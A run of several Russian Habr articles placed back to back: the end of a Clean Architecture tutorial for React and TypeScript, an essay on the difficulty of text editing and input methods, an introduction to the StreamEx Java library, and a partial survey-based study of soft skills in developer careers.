private validateLoginForm = (): boolean => {
if (!this.emailQuery) {
this.isShowError = true;
this.errorMessage = 'Email cannot be empty';
return false;
}
// Убираем ошибку, если раньше ставили для этого условия
if (this.errorMessage === 'Email cannot be empty') {
this.isShowError = false;
this.errorMessage = '';
}
if (!FormValidator.isValidEmail(this.emailQuery)) {
this.isShowError = true;
this.errorMessage = 'Email format is not valid';
return false;
}
if (this.errorMessage === 'Email format is not valid') {
this.isShowError = false;
this.errorMessage = '';
}
if (!this.passwordQuery) {
this.isShowError = true;
this.errorMessage = 'Password cannot be empty';
return false;
}
if (this.errorMessage === 'Password cannot be empty') {
this.isShowError = false;
this.errorMessage = '';
}
return true;
}
private notifyViewAboutChanges = (): void => {
if (this.baseView) {
this.baseView.onViewModelChanged();
}
};
}
```
Обратите внимание на метод `onClickSignOut` — в нем мы напрямую обращаемся к классу AuthHolder. Это один из тех случаев, когда посредник в виде сценария использования был бы лишним, потому что логика метода довольно тривиальна. Аналогично можно обращаться напрямую к интерфейсу репозиториев.
Однако при усложнении кода, для выполнения выхода — необходимо вынести его в отдельный сценарий использования.
**UI (views)**
*AuthComponent.tsx*
```
import React from 'react';
import './auth-component.css';
import BaseView from '../BaseView';
import AuthViewModel from '../../view-model/auth/AuthViewModel';
export interface AuthComponentProps {
authViewModel: AuthViewModel;
}
export interface AuthComponentState {
emailQuery: string;
passwordQuery: string;
isSignInButtonVisible: boolean;
isSignOutButtonVisible: boolean;
isShowError: boolean;
errorMessage: string;
authStatus: string;
isAuthStatusPositive: boolean;
}
export default class AuthComponent
extends React.Component
implements BaseView {
private authViewModel: AuthViewModel;
public constructor(props: AuthComponentProps) {
super(props);
const { authViewModel } = this.props;
this.authViewModel = authViewModel;
this.state = {
emailQuery: authViewModel.emailQuery,
passwordQuery: authViewModel.passwordQuery,
isSignInButtonVisible: authViewModel.isSignInButtonVisible,
isSignOutButtonVisible: authViewModel.isSignOutButtonVisible,
isShowError: authViewModel.isShowError,
errorMessage: authViewModel.errorMessage,
authStatus: authViewModel.authStatus,
isAuthStatusPositive: authViewModel.isAuthStatusPositive,
};
}
public componentDidMount(): void {
this.authViewModel.attachView(this);
}
public componentWillUnmount(): void {
this.authViewModel.detachView();
}
// При каждом обновлении ViewModel, мы обновляем
// state нашего компонента
public onViewModelChanged(): void {
this.setState({
emailQuery: this.authViewModel.emailQuery,
passwordQuery: this.authViewModel.passwordQuery,
isSignInButtonVisible: this.authViewModel.isSignInButtonVisible,
isSignOutButtonVisible: this.authViewModel.isSignOutButtonVisible,
isShowError: this.authViewModel.isShowError,
errorMessage: this.authViewModel.errorMessage,
authStatus: this.authViewModel.authStatus,
isAuthStatusPositive: this.authViewModel.isAuthStatusPositive,
});
}
public render(): JSX.Element {
const {
emailQuery,
passwordQuery,
isSignInButtonVisible,
isSignOutButtonVisible,
isShowError,
errorMessage,
authStatus,
isAuthStatusPositive,
} = this.state;
return (
Status:
{authStatus}
```
): void => {
this.authViewModel.onEmailQueryChanged(e.currentTarget.value);
}}
value={emailQuery}
className="form-control"
/>
): void => {
this.authViewModel.onPasswordQueryChanged(e.currentTarget.value);
}}
value={passwordQuery}
className="form-control"
/>
{isShowError && (
{errorMessage}
)}
{isSignInButtonVisible && (
this.authViewModel.onClickSignIn()}
>
Sign in
)}
{isSignOutButtonVisible && (
this.authViewModel.onClickSignOut()}
>
Sign out
)}
);
}
}
Данный компонент является зависимым от фреймворка и, следовательно, находиться в самом крайнем слое диаграммы.
*AuthComponent* при монтировании (`componentDidMount`) прикрепляется к *AuthViewModel* и открепляется при исчезновении (`componentWillUnmount`). При каждом изменении *ViewModel*, *AuthComponent* обновляет свое состояние для дальнейшего обновления разметки.
Обратите внимание на условный рендеринг в зависимости от состояния:
```
{isSignOutButtonVisible && (
this.authViewModel.onClickSignOut()}
>
Sign out
)}
```
А также на обращение к методам ViewModel для передачи значений:
```
onClick={(): void => this.authViewModel.onClickSignOut()}
```
**Entry point**
Для входа в приложение, мы используем файлы *index.tsx* и *App.tsx*.
*index.tsx*
```
import React from 'react';
import ReactDOM from 'react-dom';
import 'bootstrap/dist/css/bootstrap.css';
import App from './App';
import * as serviceWorker from './serviceWorker';
ReactDOM.render(
,
document.getElementById('root'),
);
serviceWorker.unregister();
```
*App.tsx*
```
import React from 'react';
import './app.css';
import AuthComponent from './presentation/view/auth/AuthComponent';
import AuthViewModelImpl from './presentation/view-model/auth/AuthViewModelImpl';
import AuthFakeApi from './data/auth/AuthFakeApi';
import LoginUseCase from './domain/interactors/auth/LoginUseCase';
import AuthHolder from './domain/entity/auth/models/AuthHolder';
function App(): JSX.Element {
// data layer
const authRepository = new AuthFakeApi();
// domain layer
const authHolder = new AuthHolder();
const loginUseCase = new LoginUseCase(authRepository, authHolder);
// view layer
const authViewModel = new AuthViewModelImpl(loginUseCase, authHolder);
return (
);
}
export default App;
```
Именно в файле *App.tsx* происходит инициализация всех зависимостей. В данном приложении мы не используем инструменты внедрения зависимостей, чтобы излишне не усложнять код.
Если нам потребуется изменить какую-то зависимость, мы будем заменять ее в этом файле. Например, вместо строки:
```
const authRepository = new AuthFakeApi();
```
Напишем:
```
const authRepository = new AuthApi();
```
Также обратите внимание, что мы используем только интерфейсы, а не конкретные реализации (все основывается на абстракции). При объявлении переменных, мы подразумеваем следующее:
```
const authRepository: AuthRepository = new AuthFakeApi();
```
Это позволяет скрывать детали реализации (чтобы потом заменять ее без изменения интерфейса).
**4. Заключение**
Надеюсь, в ходе чтения статьи у вас сложилось понимание, как можно применять The Clean Architecture в React (и не только проектах), и наш опыт поможет сделать ваши приложения более качественными.
В данной статье были описаны теоретические и практические основы использования The Clean Architecture в frontend проектах. Как говорилось ранее, The Clean Architecture дает только рекомендации о том, как строить Вашу архитектуру.
Выше был приведен пример простого приложения, которое использует данную архитектуру. Учтите, что по мере роста приложения, архитектура может меняться, поэтому приведенный выше код — не является панацеей (как говорилось вначале), в этой статье лишь передача части нашего опыта.
**5. Ресурсы**
[Исходный код](https://github.com/RostislavDugin/clean-architecture-react-typescript)
[UML диаграмма](https://github.com/RostislavDugin/clean-architecture-react-typescript/tree/master/information) | https://habr.com/ru/post/499078/ | null | ru | null |
# Редактирование текста тоже вас ненавидит
Опубликованная месяц назад статья Алексис Бингесснер [«Рендеринг текста вас ненавидит»](https://habr.com/ru/post/469529/) очень мне близка.
В далёком 2017 году я разрабатывал интерактивный текстовый редактор в браузере. Неудовлетворённый существующими библиотеками на ContentEditable, я подумал: «Эй, да просто заново реализую выделение текста! Разве это сложно?» Я был молод. Наивен. Прикинул, что справлюсь за две недели. На самом деле попытка решить эту проблему отняла несколько лет моей жизни, в том числе год оплачиваемой работы с утра до вечера по разработке текстового редактора для новой ОС.
На работе мне посчастливилось многое узнать у наставников с огромным опытом в этой области. Я слышал много, очень много страшных историй. В том числе об инженере, который поддерживал приложение Windows с кастомной реализацией текстового поля — и хотел перейти с устаревшего API ввода текста на новую версию. Вот [список интерфейсов](https://docs.microsoft.com/en-us/windows/win32/tsf/text-services-framework-interfaces) для ввода текста в этой новой версии:
Всё правильно, 128 интерфейсов для ввода текста. Почти уверен, что есть ещё восемь (8!) различных типов блокировок для устранения проблем параллелизма, хотя честно не читал их документацию, поэтому не цитируйте меня по этому поводу. Тот инженер полтора года (полный рабочий день!) дорабатывал свой редактор, но в итоге потерпел неудачу и остался на старом API.
Ввод текста — это сложно.
Алексис местами упоминает про выделение текста, но её личный опыт больше связан с рендерингом. Как человек с той стороны, могу добавить несколько моментов именно про ввод.
### Вертикальное перемещение курсора
Я уже освещал это в [предыдущей статье](https://lord.io/blog/2017/caret-movement/), но можем быстро повторить здесь.
В этом примере, если нажать вверх, курсор уйдёт в начало строки, перед словом *hello*. Пока всё довольно разумно. Но если нажать вверх, а затем вниз, курсор сначала прыгнет перед *hello*, а затем встанет после *some*.
Это может показаться не очень логичным. Вы спросите, почему он прыгает вправо? Ну, при вертикальных перемещениях каждый курсор запоминает позицию *x* в пикселях, и она обновляется только при нажатии влево или вправо, а не вверх и вниз. То же самое поведение предотвращает перемещение курсоров влево при вертикальном перемещении через короткие строки.
### Близость
Ладно, теперь мы знаем, что при выделении текста у нас *два* фрагмента состояния: байтовое смещение внутри строки и координата *x* в пикселях, упомянутая выше. Проблема решена? Ну, нет.
Рассмотрим две позиции курсора на очень длинной строке:
Поскольку *loooooooooong* — это одно слово, у двух позиций курсора *в точности одинаковое байтовое смещение в строке*. Между ними нет символа новой строки, так как строка мягко переносится. Нашим курсорам нужен дополнительный бит, который скажет, на какую строку перенестись. Большинство систем называют этот бит affinity (близость). Он же используется в смешанном двунаправленном тексте, про который мы скоро поговорим.
### Модификаторы эмодзи
Допустим, я отправляю другу сообщение. Для выражения своих чувств хочу добавить забавный эмодзи. Ввожу в текстовой области поднятый вверх большой палец, букву `a` и модификатор эмодзи для тона кожи. Это выглядит так:
Ой, не хотел писать букву. Устанавливаю курсор после неё и нажимаю Backspace. Что произойдёт? Я видел несколько вариантов, в зависимости от редактора.
* **Плохо №1** может *показаться* правильным. Но так работает текстовый редактор с поддержкой устаревшего рендеринга эмодзи, например, Sublime Text. Это плохо, потому что эмодзи светлого пальца кодируется как жёлтый палец, за которым сразу следует модификатор светлого тона кожи. Они не объединяются в один символ, как положено. Даже если я скопирую светлый палец из другого приложения, он всё равно отобразится неправильно, как здесь.
* **Плохо №2** — это то, что Chrome 77 делает в адресной строке. Не на веб-страницах, а только в адресной строке. Это не проблема рендеринга, так как копипаст эмодзи с тоном кожи работает. Вместо этого Chrome удаляет букву, а заметив следующий за буквой модификатор, заодно удаляет и его. Упс.
* **Плохо №3** соответствует спецификации Юникода, как положено сливать эмодзи. Но это довольно непонятно для пользователей, и, кстати, нужно сдвинуть курсор, чтобы он не застрял на полпути внутри эмодзи.
Все варианты плохие, поэтому вы можете предположить, что наверное есть какой-то четвёртый вариант. Есть! Многие редакторы, такие как TextEdit, даже не позволяет поставить курсор после буквы, так как модификатор тона кожи рассматривается как единое целое с предыдущим символом. Это имеет смысл в контексте эмодзи и даже хорошо работает в данном случае, но что если модификатор указан первым символом в строке?
Теперь модификатор изменяет символ новой строки. TextEdit не позволит поместить курсор в начале второй строки! Я лично считаю это решение «тоже плохим».
Возможно, вы также заметили, что большой палец вверх стал большим пальцем вниз. Это я сам сделал, чтобы отразить свои чувства по поводу всей ситуации.
Кстати, TextEdit специально делает курсор на первой строке *очень* глючным. Например, угадайте, что произойдёт, если я здесь нажму `4`?
Угу. Вы также можете подумать, что между цифрами есть пробелы. Их нет.
### Двунаправленный текст
Алексис упоминает разделённые выделения в смешанном двунаправленном тексте, как в этом примере из TextEdit:
Это действительно имеет смысл, поскольку арабский язык в строках кодируется справа налево, так что выделение кажется разделённым, но по байтам представляет собой непрерывный диапазон.
Поэтому немного удивительно, что мы можем получить такое выделение:
Да, это визуально непрерывное, но разделённое по байтам выделение. Да, плохо. Так делают некоторые редакторы, если выделять текст клавишами со стрелками вместо мыши. Альтернатива — поменять местами клавиши влево/вправо внутри текста с направлением справа налево, что тоже плохо. Здесь нет хороших вариантов.
В качестве бонуса, попробуйте понять, что происходит здесь:
Господи… не хочу это комментировать.
### Дело в методах ввода
Программное обеспечение, которое переводит нажатия клавиш во ввод, называется «метод ввода» (input method) или «редактор метода ввода» (input method editor). Для латинского алфавита это не очень интересное ПО, так как каждое нажатие клавиши напрямую сопоставляется с вставкой одного символа. Но во многих письменностях символы не помещаются на клавиатуру, поэтому приходится проявлять творческий подход. Например, в некоторых методах ввода для китайского языка пользователь вводит звуки — и получает список похожих по звучанию иероглифов:
Это поле иногда называют композиционной областью (composing region), и она часто появляется над подчёркнутым текстом. Иногда метод ввода должен её стилизовать. Например, метод ввода японского языка на Android использует цвет фона для создания области разделения предложений:
*(Спасибо Shae за скриншот!)*
Взаимодействуют ли все эти выделения и композиционные области с двунаправленным текстом? Давайте не будем об этом думать.
Методы ввода должны работать везде, *даже внутри терминала*:
Ничего не отправится в Vim, пока не выбран китайский иероглиф из списка. Вероятно, вы думаете: «Но как это работает в командном режиме Vim?» Не очень хорошо. Вот почему в интернете ввод текста и нажатия клавиш являются отдельными событиями. В консоли они смешиваются, вызывая проблемы.
Это всего лишь один пример из множества различных способов ввода текста. (Не забывайте о методах ввода без клавиатуры, таких как голосовой и рукописный ввод!) К счастью, операционная система предоставляет вам все эти методы. Но, к сожалению, ваше текстовое поле должно говорить на общем протоколе ввода текста, используемом всеми этими методами. Для Windows это те 128 интерфейсов, перечисленные в начале статьи. В других ОС интерфейсы попроще, но их всё равно сложно реализовать.
Вы также могли заметить, что метод ввода — отдельный процесс, так что в состояние текстового поля могут вносить изменения и метод ввода, и приложение. Это фактически параллельный протокол редактирования. Windows решает проблему с помощью восьми (8!) видов блокировки. Хотя удержание блокировки через границы процесса может показаться сомнительным, большинство других платформ для устранения проблем параллелизма пытаются использовать несовершенные эвристики. Или просто надеются, что состояние гонки не произойдёт. По моему опыту, молитва — не очень эффективный примитив параллелизма.
### Почему всё так сложно??
Джонатан Блоу в лекции о деградации софта упоминает [текстовый редактор Кена Томпсона](https://youtu.be/pW-SOdj4Kkk?t=2116), который он написал за неделю. Большая часть кода в этой статье — случайно привнесённая сложность. Действительно ли Windows нужно 128 интерфейсов и 8 видов блокировок для ввода текста? Ни в коем случае. Являются ли ошибки в TextEdit результатом сложной модели редактирования? Да. Является ли россыпь багов в современных программах чем-то, о чём следует беспокоиться? По крайней мере, для меня это так.
Однако редактор Кена Томпсона был и намного, намного проще, чем то, что мы ожидаем от современных текстовых редакторов. Юникод поддерживает почти все живые языки в мире (их около 7000), и ещё много мёртвых. Там разные письменности, направления текста и методы ввода, каждый из которых накладывает сложные (и в некоторых случаях неразрешимые) ограничения на любой редактор. А ведь он должен ещё и поддерживать программы чтения с экрана.
Огромная сложность накапливается *неизбежно*, а в этой статье мы только слегка её тронули. Это настоящее чудо программирования, что можно просто шлёпнуть на веб-странице — и мгновенно обеспечить ввод текста для каждого пользователя интернета по всему миру. | https://habr.com/ru/post/474036/ | null | ru | null |
# Прокачиваем Stream API, или нужно больше сахара
Не так давно удалось перевести на Java 8 один из проектов, над которым я работаю. Вначале, конечно, была эйфория от компактности и выразительности конструкций при использовании Stream API, но со временем захотелось писать ещё короче, гибче и выразительнее. Поначалу я добавлял статические методы в утилитные классы, однако это делало код только хуже. В конце концов я пришёл к мысли, что надо расширять сами интерфейсы потоков, в результате чего родилась маленькая библиотека [StreamEx](https://github.com/amaembo/streamex).
В Java 8 есть четыре интерфейса потоков — объектный [Stream](https://docs.oracle.com/javase/8/docs/api/java/util/stream/Stream.html) и три примитивных [IntStream](https://docs.oracle.com/javase/8/docs/api/java/util/stream/IntStream.html), [LongStream](https://docs.oracle.com/javase/8/docs/api/java/util/stream/LongStream.html) и [DoubleStream](https://docs.oracle.com/javase/8/docs/api/java/util/stream/DoubleStream.html). Для полноценной замены стандартным потокам надо обернуть их все. Таким образом, у меня появились классы `StreamEx`, `IntStreamEx`, `LongStreamEx` и `DoubleStreamEx`. Чтобы сохранить исходный интерфейс, пришлось написать довольно много скучных методов вроде таких:
```
public class IntStreamEx implements IntStream {
private final IntStream stream;
@Override
public StreamEx mapToObj(IntFunction extends U mapper) {
return new StreamEx<>(stream.mapToObj(mapper));
}
...
}
```
Понадобилось также создать статические конструкторы, причём не только такие, какие уже есть в оригинальных классах, но и некоторые другие (скажем, для замены [random.ints()](https://docs.oracle.com/javase/8/docs/api/java/util/Random.html#ints--) есть метод `IntStreamEx.of(random)`). Зато после этого появились потоки, которые я могу расширить по своему усмотрению. Ниже представлен краткий обзор дополнительного функционала.
#### Сокращение популярных коллекторов
Со стандартным Stream API очень часто приходится писать `.collect(Collectors.toSet())` или `.collect(Collectors.toList())`. Выглядит многословно, даже если импортировать `Collectors` статически. В `StreamEx` я добавил методы `toSet`, `toList`, `toCollection`, `toMap`, `groupingBy` с несколькими сигнатурами. Методу `toMap` можно не указывать функцию для ключей, если это identity. Пара примеров:
```
List users;
public List getUserNames() {
return StreamEx.of(users).map(User::getName).toList();
}
public Map> getUsersByRole() {
return StreamEx.of(users).groupingBy(User::getRole);
}
public Map calcStringLengths(Collection strings) {
return StreamEx.of(strings).toMap(String::length);
}
```
Методы `joining` тоже соответствуют коллекторам, но перед этим содержимое потока пропускается через `String::valueOf`:
```
public String join(List numbers) {
return StreamEx.of(numbers).joining("; ");
}
```
#### Сокращение поиска и фильтрации
Иногда требуется выбрать в потоке только объекты определённого класса. Можно написать `.filter(obj -> obj instanceof MyClass)`. Однако это не уточнит тип потока, поэтому придётся или приводить тип элементов вручную, или добавить ещё один шаг `.map(obj -> (MyClass)obj)`. При использовании `StreamEx` это делается лаконично с помощью метода select:
```
public List elementsOf(NodeList nodeList) {
return IntStreamEx.range(0, nodeList.getLength()).mapToObj(nodeList::item).select(Element.class).toList();
}
```
В реализации метода `select`, кстати, не используется шаг map, а просто после фильтрации применяется небезопасное преобразование типа потока, так что конвейер не удлинняется лишний раз.
Весьма часто приходится выкидывать null из потока, поэтому я добавил метод `nonNull()` на замену `filter(Objects::nonNull)`. Ещё есть метод `remove(Predicate)`, который удаляет из потока элементы, удовлетворяющие предикату (`filter` наоборот). Он позволяет чаще использовать ссылки на методы:
```
public List readNonEmptyLines(Reader reader) {
return StreamEx.ofLines(reader).map(String::trim).remove(String::isEmpty).toList();
}
```
Имеются `findAny(Predicate)` и `findFirst(Predicate)` — сокращения для `filter(Predicate).findAny()` и `filter(Predicate).findFirst()`. Метод `has` позволяет узнать, есть ли в потоке определённый элемент. Подобные методы добавлены и к примитивным потокам.
#### append и prepend
Нередко возникает необходимость добавить в поток одно-два специальных значения или склеить два потока. Использование стандартного `Stream.concat` не очень красиво, так как добавляет вложенные скобки и портит идею чтения программы слева направо. На замену `concat` я сделал `append` и `prepend`, которые позволяют добавить в конец или начало текущего потока другой поток или заданный набор значений:
```
public List getDropDownOptions() {
return StreamEx.of(users).map(User::getName).prepend("(none)").toList();
}
```
Расширять массив теперь можно так:
```
public int[] addValue(int[] arr, int value) {
return IntStreamEx.of(arr).append(value).toArray();
}
```
#### Компараторы
В Java 8 значительно легче писать компараторы с использованием методов для извлечения ключа вроде `Comparator.comparingInt`. Для сокращения наиболее частых ситуаций сортировки, поиска максимума и минимума по одному ключу добавлено семейство методов `sortingBy`, `maxBy` и `minBy`:
```
public User getMostActiveUser() {
return StreamEx.of(users).maxByLong(User::getNumberOfPosts).orElse(null);
}
```
Кстати, сортировка по компаратору добавлена и в примитивные потоки (иногда пригождается). Там, правда, под капотом происходит лишний боксинг, но можно понадеяться на агрессивные оптимизации JIT-компилятора.
#### Iterable
Многие хотят, чтобы `Stream` реализовывал интерфейс `Iterable`, ведь он содержит метод `iterator()`. Этого не сделано, в частности, потому что `Iterable` предполагает переиспользуемость, а у потока итератор можно взять только один раз. Хотя [на Stack Overflow](http://stackoverflow.com/questions/20129762/why-does-streamt-not-implement-iterablet) отмечают, что в JDK уже есть исключение из этого правила — [DirectoryStream](http://docs.oracle.com/javase/7/docs/api/java/nio/file/DirectoryStream.html). Так или иначе иногда хочется вместо терминального `forEach` воспользоваться обычным циклом `for`. Это даёт ряд преимуществ: можно использовать любые переменные, а не только effectively final, можно кидать любые исключения, легче отлаживать, короче стектрейсы и т. д. В общем, я считаю, что большого греха нет, если вы создали поток и тут же используете его в цикле `for`. Конечно, надо соблюдать осторожность и не передавать его в методы, которые принимают `Iterable` и могут обходить его несколько раз. Пример:
```
public void copyNonEmptyLines(Reader reader, Writer writer) throws IOException {
for(String line : StreamEx.ofLines(reader).remove(String::isEmpty)) {
writer.write(line);
writer.write(System.lineSeparator());
}
}
```
Если нравится, пользуйтесь, но будьте осторожны.
#### Ключи и значения Map
Нередко возникает потребность обработать все ключи `Map`, значения которых удовлетворяют заданному условию, или наоборот. Писать такое напрямую несколько уныло: придётся возиться с `Map.Entry`. Я спрятал это под капот статических методов `ofKeys(map, valuePredicate)` и `ofValues(map, keyPredicate)`:
```
Map nameToRole;
public Set getEnabledRoleNames() {
return StreamEx.ofKeys(nameToRole, Role::isEnabled).toSet();
}
```
#### EntryStream
Для более сложных сценариев обработки `Map` создан отдельный класс `EntryStream` — поток объектов `Map.Entry`. Он частично повторяет функционал `StreamEx`, но также содержит дополнительные методы, позволяющие по отдельности обрабатывать ключи и значения. В некоторых случаях это позволяет проще как генерировать новую `Map`, так и разбирать существующую. Например, вот так можно инвертировать Map-List (строки из списков значений попадают в ключи, а ключи формируют новые списки значений):
```
public Map> invert(Map> map) {
return EntryStream.of(map).flatMapValues(List::stream).invert().grouping();
}
```
Здесь используется `flatMapValues`, который превращает поток ``Entry в Entry`, затем `invert`, который меняет местами ключи и значения, и в конце `grouping` — группировка по ключу в новую `Map`.
Вот так можно преобразовать все ключи и значения `Map` в строки:
```
public Map stringMap(Map map) {
return EntryStream.of(map).mapKeys(String::valueOf).mapValues(String::valueOf).toMap();
}
```
А вот так можно для поданного списка групп вернуть списки их пользователей, пропуская несуществующие группы:
```
Map nameToGroup;
public Map> getGroupMembers(Collection groupNames) {
return StreamEx.of(groupNames).mapToEntry(nameToGroup::get).nonNullValues().mapValues(Group::getMembers).toMap();
}
```
Метод `mapToEntry` возвращает `EntryStream` с ключами из исходного потока и вычисленными значениями.
Вот такая библиотечка получилась. Надеюсь, кому-нибудь пригодится. Код — на [GitHub](https://github.com/amaembo/streamex), сборки можно взять в [Maven Central](http://repo1.maven.org/maven2/io/github/amaembo/streamex/). JavaDoc не дописан, но всегда можно сориентироваться по исходникам. Принимаются замечания, предложения, пулл-реквесты и всё такое.` | https://habr.com/ru/post/255659/ | null | ru | null |
# The state of soft skills
Так сложилось, что софт-скиллы довольно сильно помогли мне в карьере. Например, спустя всего 9 месяцев работы в Rambler, куда я приходил простым frontend-разработчиком, мне предложили стать руководителем группы, потому что мой руководитель увидел во мне потенциал и достаточный уровень развития необходимых гибких навыков.
Однако, несмотря на весь хайп вокруг темы софт-скиллов, многие разработчики всё ещё уверены, что, чтобы перейти с грейда на грейд, нужно просто чуть лучше программировать. В свою очередь я подумал, что, если то же количество усилий, которое требуется для прокачки хард-скиллов для перехода из middle в senior-разработчика, вложить в развитие софт-скиллов, продвижение по карьерной лестнице может быть даже более эффективным.
Поэтому я решил попробовать доказать тезис, что soft skills важнее для успехов в карьере, чем hard skills. И чтобы не быть субъективным и ссылаться только на собственный опыт, я изучил материалы по теме, провел собственный опрос, проанализировал ответы с использованием небольшого количества математики и теперь хочу поделиться результатами.
*С одной из первых версий исследования я выступал на FrontendConf в прошлом году, вместо статьи можно* [*посмотреть видео*](https://youtu.be/N69EeXBEjKg).
Как появилось понятие «soft skills»
-----------------------------------
В 1959 году впервые в ходе исследований в армии США к постановке задачи для офицеров был добавлен пункт «supporting skills and knowledges», который и стал прообразом soft skills.
Например, для того чтобы проверить иллюминатор истребителя, военнослужащему считалось полезным уметь определять показания вольтметра и амперметра.
Спустя 13 лет в 1972 году прошла конференция «CONARC Soft Skills Conference», где уже официально употребили новое понятие.
Здесь говорится, что софт-скиллы — важные навыки, сопутствующие основной работе. А также, что хард-скиллы — это то, что нам хорошо известно, а софт-скиллы — это то, о чем мы почти ничего не знаем. Это интересное утверждение, но мы не будем от него отталкиваться.
На данный момент вариантов классификаций и перечней гибких навыков очень много, поэтому пока не будем акцентировать внимание на конкретных умениях. Я буду говорить о софт-скиллах в обобщенном понимании, и не обязательно все из них вы тоже считаете таковыми.
Какие навыки важны для сотрудников
----------------------------------
Я решил начать с ежегодного (брал версию от 2018 года) исследования LinkedIn по навыкам, которые нужно развивать.
Ниже результаты опроса непосредственных руководителей о важности тех или иных навыков. Четыре из шести навыков можно отнести к софт-скиллам.
Мнения глав компаний почти не отличаются, только лидерство становится чуть важнее:
> Удивительно, но:
>
>
>
> * 92% руководителей считают, что софт-скиллы столь же или более важны по сравнению с хард-скиллами.
> * 89% руководителей считают крайне сложным найти сотрудника с необходимым уровнем софт-скиллов.
>
Как обучают гибким навыкам
--------------------------
В поисках ответа на этот вопрос я нашел интересную [статью](https://blogs.wsj.com/cio/2018/06/26/hard-pressed-by-soft-skills-cios-face-talent-challenge/) в The Wall Street Journal, в которой в свою очередь была ссылка на исследование департамента образования штата Айова. И действительно, на сайте департамента приводится шесть важных для успеха в 21-м веке навыков, которым можно обучиться: продуктивность и ответственность, критичность мышления, сложная коммуникация, креативность, командная работа, гибкость и адаптируемость.
LinkedIn наиболее востребованными называют примерно те же навыки и дают к ним «вдохновляющие» пояснения.
* **Креативность.** Пока роботы оптимизируют старые идеи, креативные сотрудники придумывают решения проблем будущего.
* **Убеждение.** Ты можешь иметь великолепный продукт или потрясающий концепт, но какой в этом толк, если ты не можешь убедить его купить.
* **Командная работа.** Пока в эпоху искусственного интеллекта проекты становятся сложнее и масштабнее, умение работать в команде становится как никогда важным.
* **Адаптируемость.** Вчерашние решения не помогут решить завтрашние проблемы.
* **Тайм-менеджмент.** Умение управлять своим временем сегодня будет служить вам всю оставшуюся карьеру.
> По результатам исследования LinkedIn 57% всех опрошенных считают, что сейчас софт-скиллы важнее, чем хард-скиллы.
Но точно ли, эти результаты релевантны для нас с вами? Всё-таки эти исследования ориентированы на Запад.
Чтобы это выяснить, я решил провести собственный опрос. Начинал я с людей, которых я интервьюировал в подкасте [Frontend Weekend](https://soundcloud.com/frontend-weekend), а дальше уже распространял в социальных сетях и на других конференциях.
В опросе было 7 групп навыков. По каждому навыку были такие варианты ответа: нет навыка, есть с рождения, получен с опытом, осознанно развит. А также я просил оценить по пятибалльной шкале то, насколько группа навыков целиком повлияла на развитие карьеры респондента.
Под спойлерами гистограммы распределения по ответам, которые мы дальше проанализируем подробнее.
**Коммуникация**
**Мышление**
**Организованность**
> «В своё время мне очень помогла **организованность**, потому что когда технических знаний было ещё мало, успевала все равно делать много задач, получалось освобождать время на обучение, без которого невозможно дальнейшее профессиональное развитие», — Людмила Мжачих.
**Гибкость**
> «**Открытость новому** помогла мне бросить backend, пойти на первую frontend-конференцию и влиться в сообщество. Менять профессию всегда сложно, но терпение и адаптируемость помогли мне вырасти как специалисту и начать выступать. Для спикера важно адекватное восприятие критики, это помогает делать выступления лучше», — Анна Селезнёва.
**Самообразование**
> «Я всегда хотел быть хорошим специалистом прежде всего, высокая должность меня не интересовала. А хороший специалист в нашей области не может без **постоянной учёбы**, тут одной практикой не набрать», — Андрей Мелихов.
**Лидерство**
**Самопрезентация**
В навыках самопрезентации, кстати, впервые немонотонно распределены ответы по важности. Тех, кто оценил влияние навыков самопрезентации на свою карьеру на 3 балла, больше, чем тех, кто оценил его на 4.
> «Научился продавать себя как специалиста и продвигать свои идеи. В итоге начал получать много предложений о работе, значительно повысил себе зарплату, смог договариваться о том, чтобы делать интересные вещи вместе с полезными. Стал больше путешествовать», — Никита Дубко.
Если вам кажется, что результаты смещены или моя выборка недостаточно широка, [пройдите опрос](https://docs.google.com/forms/d/e/1FAIpQLSfFLy4IzqWzYml4paS5S01atvyO3NZzjxRI-5Eqi_uGQHDBFA/viewform) и помогите мне собрать больше данных.
Но и уже имеющиеся результаты, а особенно то, что по каждой группе навыков около половины респондентов оценили степень влияния на карьеру на 5 из 5 баллов, показывает, что софт-скиллы полезны. Значит, их нужно развивать.
Какие навыки развивать
----------------------
Очевидно, что эффективно качать сразу все навыки вряд ли выйдет. Но одновременно развивать всё и не нужно, попробуем расставим приоритеты.
Будем опираться на:
* Исследование департамента образования Айовы.
* Топ-5 гибких навыков для изучения в 2019 году от LinkedIn.
* Результаты собственного опроса.
### Самый простой рейтинг
Логично попробовать посчитать соотношение цена/качество и начать развитие с самых выгодных. В первой версии анализа, которая была сделана на коленке за час, для этого я придумал такие формулы:
* Цена развития навыка определяется из числа ответивших «получил с опытом» и «осознанно развивал», причем «получение с опытом» влияет на оценку в 2 раза меньше: `**development\_value** = (gained_by_experience / 2 + gained_by_development) / people_number`.
* То, насколько полезен навык, учитывает ответы 4 и 5 в вопросе про влияние, причём «четверки» по аналогии в 2 раза менее значимы при подсчёте: `**help\_value** = (fours / 2 + fives) / people_number`.
* Чтобы получить одну итоговую цифру, я попробовал перемножить две полученных прежде оценки: `**final\_value** = development_value * help_value`.
В таблице результаты для всех 32 навыков из моего опроса.
В столбцах Iowa и LinkedIn стоит «+» напротив навыков, которые также перечисляются в соответствующих исследованиях. Таким образом, самыми выгодными с точки зрения соотношения цены развития и полезности являются: **работа в команде, убеждение и аргументация, тайм-менеджмент.**
Естественно, это был довольно наивный рейтинг, коэффициенты ни на что не опирались, а перемножать оценки вообще было глупой затеей. Поэтому следующим этапом я решил сделать всё более строго с математической точки зрения.
### Рейтинг на основе NPS и простейшей математики
В случае подсчета полезности навыков я решил обратиться к индексу потребительской лояльности (Net Promoter Score).
Если спроецировать модель NPS на наши результаты, то получится следующая формула: `**value\_index** = (fives - threes - twos - ones) / (vote_number - noskill_number)`. То есть в плюс идет только определенно сильное влияние на 5 баллов, а на 3, 2 и 1 в минус.
А вот определить цену навыка сложнее. Я советовался со специалистами по машинному обучению и анализу данных и выбрал простую, но хорошо обоснованную модель. И что важно, пересмотрел показатель цены — чем выше цена, тем хуже.
Влияние факторов на цену навыка:
* Если у большого числа людей нет какого-то навыка, это повышает цену его развития (предполагаем, что люди знают, что означает каждый навык).
* Ответы «есть с рождения» тоже увеличивают цену, потому что, как правило, осознанно развивать такой навык, который можно назвать врожденным талантом, тяжело.
* «Получил с опытом» уменьшает цену, так как для него в основном не нужно прикладывать каких-то особых усилий.
* «Осознанно развивал» и смог развить — цена тоже уменьшается.
На основании этих предположений выведем итоговую формулу цены: `**cost\_index** = (1 - experience_index) * (1 - develop_index) / (1 - noskill_index) / (1 - born_index)`, где `**column\_index** = column_number / vote_number`.
